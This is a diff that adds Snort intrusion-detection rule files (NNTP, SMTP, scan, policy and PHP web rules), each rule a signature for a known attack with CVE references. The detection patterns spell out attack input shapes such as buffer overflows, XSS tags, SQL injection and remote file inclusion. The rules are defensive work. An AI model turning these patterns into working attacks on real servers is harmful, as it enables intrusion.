+# $Id: nntp.rules,v 1.12.2.4.2.1 2005/05/16 22:17:51 mwatchinski Exp $
+#----------
+# NNTP RULES
+#----------
+
+alert tcp $EXTERNAL_NET 119 -> $HOME_NET any (msg:"NNTP return code buffer overflow attempt"; flow:to_server,established,no_stream; content:"200"; isdataat:64,relative; pcre:"/^200\s[^\n]{64}/smi"; reference:bugtraq,4900; reference:cve,2002-0909; classtype:protocol-command-decode; sid:1792; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP AUTHINFO USER overflow attempt"; flow:to_server,established; content:"AUTHINFO"; nocase; content:"USER"; distance:0; nocase; isdataat:200,relative; pcre:"/^AUTHINFO\s+USER\s[^\n]{200}/smi"; reference:arachnids,274; reference:bugtraq,1156; reference:cve,2000-0341; classtype:attempted-admin; sid:1538; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP sendsys overflow attempt"; flow:to_server,established; content:"sendsys"; nocase; pcre:"/^sendsys\x3a[^\n]{21}/smi"; reference:bugtraq,9382; reference:cve,2004-0045; classtype:attempted-admin; sid:2424; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP senduuname overflow attempt"; flow:to_server,established; content:"senduuname"; nocase; pcre:"/^senduuname\x3a[^\n]{21}/smi"; reference:bugtraq,9382; reference:cve,2004-0045; classtype:attempted-admin; sid:2425; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP version overflow attempt"; flow:to_server,established; content:"version"; nocase; pcre:"/^version\x3a[^\n]{21}/smi"; reference:bugtraq,9382; reference:cve,2004-0045; classtype:attempted-admin; sid:2426; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP checkgroups overflow attempt"; flow:to_server,established; content:"checkgroups"; nocase; pcre:"/^checkgroups\x3a[^\n]{21}/smi"; reference:bugtraq,9382; reference:cve,2004-0045; classtype:attempted-admin; sid:2427; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP ihave overflow attempt"; flow:to_server,established; content:"ihave"; nocase; pcre:"/^ihave\x3a[^\n]{21}/smi"; reference:bugtraq,9382; reference:cve,2004-0045; classtype:attempted-admin; sid:2428; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP sendme overflow attempt"; flow:to_server,established; content:"sendme"; nocase; pcre:"/^sendme\x3a[^\n]{21}/smi"; reference:bugtraq,9382; reference:cve,2004-0045; classtype:attempted-admin; sid:2429; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP newgroup overflow attempt"; flow:to_server,established; content:"newgroup"; nocase; pcre:"/^newgroup\x3a[^\n]{21}/smi"; reference:bugtraq,9382; reference:cve,2004-0045; classtype:attempted-admin; sid:2430; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP rmgroup overflow attempt"; flow:to_server,established; content:"rmgroup"; nocase; pcre:"/^rmgroup\x3a[^\n]{21}/smi"; reference:bugtraq,9382; reference:cve,2004-0045; classtype:attempted-admin; sid:2431; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP article post without path attempt"; flow:to_server,established; content:"takethis"; nocase; pcre:!"/^takethis.*?Path\x3a.*?[\r]{0,1}?\n[\r]{0,1}\n/si"; classtype:attempted-admin; sid:2432; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP XPAT pattern overflow attempt"; flow:to_server,established; content:"PAT"; nocase; pcre:"/^X?PAT\s+[^\n]{1024}/smi"; reference:cve,2004-0574; reference:url,www.microsoft.com/technet/security/bulletin/MS04-036.mspx; classtype:attempted-admin; sid:2927; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP SEARCH pattern overflow attempt"; flow:to_server,established; content:"SEARCH"; nocase; pcre:"/^SEARCH\s+[^\n]{1024}/smi"; reference:cve,2004-0574; reference:url,www.microsoft.com/technet/security/bulletin/MS04-036.mspx; classtype:attempted-admin; sid:3078; rev:1;)
--- snort-2.8.5.2.orig/rules/community-smtp.rules
+++ snort-2.8.5.2/rules/community-smtp.rules
@@ -0,0 +1,13 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-smtp.rules,v 1.9 2006/07/14 13:36:01 akirk Exp $
+
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"COMMUNITY SMTP Hydra Activity Detected"; flow:to_server,established; content:"hydra"; nocase; pcre:"/^(EH|HE)LO\s+hydra\x0D\x0A/smi"; reference:url,www.thc.org/releases.php; classtype:misc-attack; sid:100000167; rev:1;)
+#Rule submitted by rmkml
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"COMMUNITY SMTP Gnu Mailman utf8 attachement access"; flow:to_server,established; content:"Content-Disposition|3A 20|attachement"; nocase; content:"filename|2A 3D|utf|2D|8"; nocase; content:"Content-Transfer-Encoding|3A 20|base64"; nocase; reference:bugtraq,15408; reference:cve,2005-3573; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=20819; classtype:attempted-dos; sid:100000191; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"COMMUNITY SMTP MIME-Type ms-tnef access"; flow:to_server,established; content:"Content-Type|3A|"; nocase; content:"application/ms-tnef"; nocase; reference:bugtraq,16197; reference:cve,2006-0002; reference:url,www.microsoft.com/technet/security/bulletin/MS06-003.mspx; classtype:attempted-admin; sid:100000219; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"COMMUNITY SMTP Mozilla filename overflow attempt"; flow:to_server,established; content:"filename|3D 22|"; nocase; pcre:"/^\s*filename\=\"[^\n]{100,}\.(exe|lnk)/smi"; reference:bugtraq,16271; classtype:attempted-admin; sid:100000224; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"COMMUNITY SMTP Incoming WAB attachment"; flow:to_server, established; content:"Content-Disposition|3A|"; nocase; pcre:"/filename=\s*.*\x2ewab/smi"; reference:cve,2006-0014; reference:url,www.microsoft.com/technet/security/bulletin/MS06-016.mspx; classtype:suspicious-filename-detect; sid:100000279; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 25 (msg:"COMMUNITY SMTP McAfee WebShield SMTP bounce message format string attempt"; flow:to_server,established; content:"RCPT"; nocase; pcre:"/^RCPT\s+TO\x3a\s+[^\r\n]*\x25/smi"; reference:bugtraq,16742; reference:cve,2006-0559; classtype:attempted-admin; sid:100000301; rev:1;)
+alert tcp !$SMTP_SERVERS any -> any 25 (msg:"COMMUNITY SMTP Mytob MAIL FROM Attempt"; flow:established,to_server; content:"MAIL FROM|3A|"; nocase; pcre:"/MAIL\s+FROM\s*\x3A\s*\x3C?(spm|fcnz|www|secur|abuse)@/i"; reference:url,www.symantec.com/avcenter/venc/data/w32.mytob@mm.html; classtype:misc-attack; sid:100000689; rev:1;)
--- snort-2.8.5.2.orig/rules/scan.rules
+++ snort-2.8.5.2/rules/scan.rules
@@ -0,0 +1,48 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: scan.rules,v 1.29.2.3.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+#-----------
+# SCAN RULES
+#-----------
+# These signatures are representitive of network scanners.  These include
+# port scanning, ip mapping, and various application scanners.
+#
+# NOTE: This does NOT include web scanners such as whisker.  Those are
+# in web*
+#
+
+alert tcp $EXTERNAL_NET 10101 -> $HOME_NET any (msg:"SCAN myscan"; flow:stateless; ack:0; flags:S; ttl:>220; reference:arachnids,439; classtype:attempted-recon; sid:613; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 113 (msg:"SCAN ident version request"; flow:to_server,established; content:"VERSION|0A|"; depth:16; reference:arachnids,303; classtype:attempted-recon; sid:616; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"SCAN cybercop os probe"; flow:stateless; dsize:0; flags:SF12; reference:arachnids,146; classtype:attempted-recon; sid:619; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN FIN"; flow:stateless; flags:F,12; reference:arachnids,27; classtype:attempted-recon; sid:621; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN ipEye SYN scan"; flow:stateless; flags:S; seq:1958810375; reference:arachnids,236; classtype:attempted-recon; sid:622; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN NULL"; flow:stateless; ack:0; flags:0; seq:0; reference:arachnids,4; classtype:attempted-recon; sid:623; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN SYN FIN"; flow:stateless; flags:SF,12; reference:arachnids,198; classtype:attempted-recon; sid:624; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN XMAS"; flow:stateless; flags:SRAFPU,12; reference:arachnids,144; classtype:attempted-recon; sid:625; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN nmap XMAS"; flow:stateless; flags:FPU,12; reference:arachnids,30; classtype:attempted-recon; sid:1228; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN synscan portscan"; flow:stateless; flags:SF; id:39426; reference:arachnids,441; classtype:attempted-recon; sid:630; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN cybercop os PA12 attempt"; flow:stateless; flags:PA12; content:"AAAAAAAAAAAAAAAA"; depth:16; reference:arachnids,149; classtype:attempted-recon; sid:626; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN cybercop os SFU12 probe"; flow:stateless; ack:0; flags:SFU12; content:"AAAAAAAAAAAAAAAA"; depth:16; reference:arachnids,150; classtype:attempted-recon; sid:627; rev:8;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 10080:10081 (msg:"SCAN Amanda client version request"; content:"Amanda"; nocase; classtype:attempted-recon; sid:634; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 49 (msg:"SCAN XTACACS logout"; content:"|80 07 00 00 07 00 00 04 00 00 00 00 00|"; reference:arachnids,408; classtype:bad-unknown; sid:635; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 7 (msg:"SCAN cybercop udp bomb"; content:"cybercop"; reference:arachnids,363; classtype:bad-unknown; sid:636; rev:1;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN Webtrends Scanner UDP Probe"; content:"|0A|help|0A|quite|0A|"; reference:arachnids,308; classtype:attempted-recon; sid:637; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"SCAN SSH Version map attempt"; flow:to_server,established; content:"Version_Mapper"; nocase; classtype:network-scan; sid:1638; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 1900 (msg:"SCAN UPnP service discover attempt"; content:"M-SEARCH "; depth:9; content:"ssdp|3A|discover"; classtype:network-scan; sid:1917; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN SolarWinds IP scan attempt"; icode:0; itype:8; content:"SolarWinds.Net"; classtype:network-scan; sid:1918; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SCAN cybercop os probe"; flow:stateless; ack:0; flags:SFP; content:"AAAAAAAAAAAAAAAA"; depth:16; reference:arachnids,145; classtype:attempted-recon; sid:1133; rev:12;)
--- snort-2.8.5.2.orig/rules/policy.rules
+++ snort-2.8.5.2/rules/policy.rules
@@ -0,0 +1,55 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: policy.rules,v 1.38.2.2.2.3 2005/07/22 19:19:54 mwatchinski Exp $
+#-------------
+# POLICY RULES
+#-------------
+#
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP anonymous login attempt"; flow:to_server,established; content:"USER"; nocase; pcre:"/^USER\s+(anonymous|ftp)/smi"; classtype:misc-activity; sid:553; rev:7;)
+
+alert tcp $HOME_NET 23 -> $EXTERNAL_NET any (msg:"POLICY WinGate telnet server response"; flow:from_server,established; content:"WinGate>"; reference:arachnids,366; reference:cve,1999-0657; classtype:misc-activity; sid:555; rev:8;)
+
+
+# we have started to see multiple versions of this beyond 003.003, so we have
+# expanded this signature to take that into account.
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"POLICY VNC server response"; flow:established; content:"RFB 0"; depth:5; content:".0"; depth:2; offset:7; classtype:misc-activity; sid:560; rev:6;)
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 5632 (msg:"POLICY PCAnywhere server response"; content:"ST"; depth:2; reference:arachnids,239; classtype:misc-activity; sid:566; rev:4;)
+alert tcp $SMTP_SERVERS 25 -> $EXTERNAL_NET any (msg:"POLICY SMTP relaying denied"; flow:established,from_server; content:"550 5.7.1"; depth:70; reference:arachnids,249; reference:url,mail-abuse.org/tsi/ar-fix.html; classtype:misc-activity; sid:567; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 9100 (msg:"POLICY HP JetDirect LCD modification attempt"; flow:to_server,established; content:"@PJL RDYMSG DISPLAY ="; reference:arachnids,302; reference:bugtraq,2245; classtype:misc-activity; sid:568; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 9000:9002 (msg:"POLICY HP JetDirect LCD modification attempt"; flow:to_server,established; content:"@PJL RDYMSG DISPLAY ="; reference:arachnids,302; reference:bugtraq,2245; classtype:misc-activity; sid:510; rev:8;)
+alert ip 66.151.158.177 any -> $HOME_NET any (msg:"POLICY poll.gotomypc.com access"; reference:url,www.gotomypc.com/help2.tmpl; classtype:misc-activity; sid:1429; rev:3;)
+
+# NOTES: This signature would be better off using uricontent, and having the
+# http decoder looking at 5800 and 5802, but that is on by default
+alert tcp $EXTERNAL_NET any -> $HOME_NET 5800:5802 (msg:"POLICY vncviewer Java applet download attempt"; flow:to_server,established; content:"/vncviewer.jar"; reference:nessus,10758; classtype:misc-activity; sid:1846; rev:4;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP file_id.diz access possible warez site"; flow:to_server,established; content:"RETR"; nocase; content:"file_id.diz"; distance:1; nocase; classtype:suspicious-filename-detect; sid:1445; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP 'STOR 1MB' possible warez site"; flow:to_server,established; content:"STOR"; nocase; content:"1MB"; distance:1; nocase; classtype:misc-activity; sid:543; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP 'RETR 1MB' possible warez site"; flow:to_server,established; content:"RETR"; nocase; content:"1MB"; distance:1; nocase; classtype:misc-activity; sid:544; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP 'CWD  ' possible warez site"; flow:to_server,established; content:"CWD  "; depth:5; nocase; classtype:misc-activity; sid:546; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP 'MKD  ' possible warez site"; flow:to_Server,established; content:"MKD  "; depth:5; nocase; classtype:misc-activity; sid:547; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP 'MKD .' possible warez site"; flow:to_server,established; content:"MKD ."; depth:5; nocase; classtype:misc-activity; sid:548; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP 'CWD / ' possible warez site"; flow:to_server,established; content:"CWD"; nocase; content:"/ "; distance:1; classtype:misc-activity; sid:545; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP 'MKD / ' possible warez site"; flow:to_server,established; content:"MKD"; nocase; content:"/ "; distance:1; classtype:misc-activity; sid:554; rev:6;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1723 (msg:"POLICY PPTP Start Control Request attempt"; flow:to_server,established,no_stream; content:"|00 01|"; depth:2; offset:2; content:"|00 01|"; depth:2; offset:8; classtype:attempted-admin; sid:2044; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 49 (msg:"POLICY xtacacs login attempt"; content:"|80 01|"; depth:2; content:"|00|"; distance:4; classtype:misc-activity; sid:2040; rev:3;)
+alert udp $HOME_NET 49 -> $EXTERNAL_NET any (msg:"POLICY xtacacs accepted login response"; content:"|80 02|"; depth:2; content:"|01|"; distance:4; classtype:misc-activity; sid:2042; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"POLICY IPSec PGPNet connection attempt"; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 10 02 00 00 00 00 00 00 00 00 88 0D 00 00 5C 00 00 00 01 00 00 00 01 00 00 00|P|01 01 00 02 03 00 00 24 01 01 00 00 80 01 00 06 80 02 00 02 80 03 00 03 80 04 00 05 80 0B 00 01 00 0C 00 04 00 01|Q|80 00 00 00 24 02 01 00 00 80 01 00 05 80 02 00 01 80 03 00 03 80 04 00 02 80 0B 00 01 00 0C 00 04 00 01|Q|80 00 00 00 10|"; classtype:protocol-command-decode; sid:1771; rev:6;)
--- snort-2.8.5.2.orig/rules/community-web-php.rules
+++ snort-2.8.5.2/rules/community-web-php.rules
@@ -0,0 +1,474 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.  # These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-web-php.rules,v 1.32 2007/02/22 20:44:35 akirk Exp $
+
+#Rules submitted by rmkml
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP piranha default passwd attempt"; flow:to_server,established; uricontent:"/piranha/secure/control.php3"; content:"Authorization|3A| Basic cGlyYW5oYTp"; reference:bugtraq,1148; reference:cve,2000-0248; reference:nessus,10381; classtype:attempted-recon; sid:100000151; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP phpinfo access"; flow:to_server,established; uricontent:"/phpinfo.php"; nocase; reference:bugtraq,5789; reference:cve,2002-1149; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=3356; classtype:successful-recon-limited; sid:100000186; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP XSS attempt"; flow:to_server,established; uricontent:"|2E|php"; nocase; uricontent:"|3C|script|3E|"; nocase; uricontent:"|3C 2F|script|3E|"; nocase; classtype:web-application-attack; sid:100000187; rev:2;) 
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Vubb Path attempt"; flow:to_server,established; uricontent:"/forum/index.php"; nocase; content:"|26 66 3D 27|"; reference:cve,2005-3513; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=113087965608496&w=2; classtype:web-application-attack; sid:100000188; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP _SERVER HTTP_ACCEPT_LANGUAGE access"; flow:to_server,established; content:"GET"; nocase; depth:3; uricontent:"|2E|php"; nocase; uricontent:"|5F|SERVER|5B|HTTP|5F|ACCEPT|5F|LANGUAGE|5D|"; nocase; reference:bugtraq,15414; reference:cve,2005-3347; classtype:web-application-attack; sid:100000195; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP CuteNews flood.db.php access"; flow:to_server,established; uricontent:"/data/flood.db.php"; nocase; reference:bugtraq,14869; reference:cve,2005-3010; reference:nessus,19756; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19478; classtype:web-application-attack; sid:100000201; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP DeluxeBB topic.php access"; flow:to_server,established; uricontent:"/topic.php"; nocase; uricontent:"tid|3D|"; nocase; reference:bugtraq,14851; reference:cve,2005-2989; reference:nessus,19750; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19404; classtype:web-application-attack; sid:100000202; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP DeluxeBB misc.php access"; flow:to_server,established; uricontent:"/misc.php"; nocase; uricontent:"uid|3D|"; nocase; reference:bugtraq,14851; reference:cve,2005-2989; reference:nessus,19750; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19405; classtype:web-application-attack; sid:100000203; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP DeluxeBB pm.php access"; flow:to_server,established; uricontent:"/pm.php"; nocase; uricontent:"uid|3D|"; nocase; reference:bugtraq,14851; reference:cve,2005-2989; reference:nessus,19750; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19407; classtype:web-application-attack; sid:100000204; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP DeluxeBB forums.php access"; flow:to_server,established; uricontent:"/forums.php"; nocase; uricontent:"fid|3D|"; nocase; reference:bugtraq,14851; reference:cve,2005-2989; reference:nessus,19750; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19406; classtype:web-application-attack; sid:100000205; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP DeluxeBB newpost.php access"; flow:to_server,established; uricontent:"/newpost.php"; nocase; uricontent:"fid|3D|"; nocase; reference:bugtraq,14851; reference:cve,2005-2989; reference:nessus,19750; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19408; classtype:web-application-attack; sid:100000206; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Gallery g2_itemId access"; flow:to_server,established; uricontent:"/main.php"; nocase; uricontent:"g2_itemId|3D|"; nocase; reference:bugtraq,15108; reference:cve,2005-0222; reference:nessus,20015; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=13034; classtype:web-application-attack; sid:100000211; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Gallery g2_return access"; flow:to_server,established; uricontent:"/main.php"; nocase; uricontent:"g2_return|3D|"; nocase; reference:bugtraq,15108; reference:cve,2005-0222; reference:nessus,20015; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=13034; classtype:web-application-attack; sid:100000212; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Gallery g2_view access"; flow:to_server,established; uricontent:"/main.php"; nocase; uricontent:"g2_view|3D|"; nocase; reference:bugtraq,15108; reference:cve,2005-0222; reference:nessus,20015; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=13034; classtype:web-application-attack; sid:100000213; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Gallery g2_subView access"; flow:to_server,established; uricontent:"/main.php"; nocase; uricontent:"g2_subView|3D|"; nocase; reference:bugtraq,15108; reference:cve,2005-0222; reference:nessus,20015; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=13034; classtype:web-application-attack; sid:100000214; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MailGust SQL Injection email attempt"; flow:to_server,established; uricontent:"method|3D|remind_password"; nocase; uricontent:"list|3D|maillistuser"; nocase; uricontent:"email|3D 27|"; nocase; reference:bugtraq,14933; reference:cve,2005-3063; reference:nessus,19947; classtype:web-application-attack; sid:100000218; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHP-Nuke admin_styles.php phpbb_root_path access"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_styles.php"; nocase; uricontent:"phpbb_root_path|3D|"; nocase; reference:url,www.autistici.org/anacron-group-italy/file/txt/sile002adv.txt; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=16244; classtype:web-application-attack; sid:100000220; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP AppServ main.php appserv_root param access"; flow:to_server,established; uricontent:"/appserv/main.php"; nocase; uricontent:"appserv_root|3D|"; nocase; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=22228; classtype:web-application-attack; sid:100000221; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ldap_var.inc.php remote file include attempt"; flow:to_server,established; uricontent:"ldap_var.inc.php"; nocase; uricontent:"includePath="; nocase; pcre:"/includePath=(https?|ftp)/Ui"; reference:bugtraq,17915; classtype:web-application-attack; sid:100000285; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP X Poll admin access"; flow:to_server,established; uricontent:"/admin/images/add.php"; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=114710173409997&w=2; classtype:web-application-attack; sid:100000286; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline ldap.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/ldap.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000287; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline atutor.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/atutor.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000288; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline db-generic.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/db-generic.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000289; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline docebo.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/docebo.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000290; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline dokeos.1.6.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/dokeos.1.6.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000291; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline dokeos.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/dokeos.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000292; rev:1;)
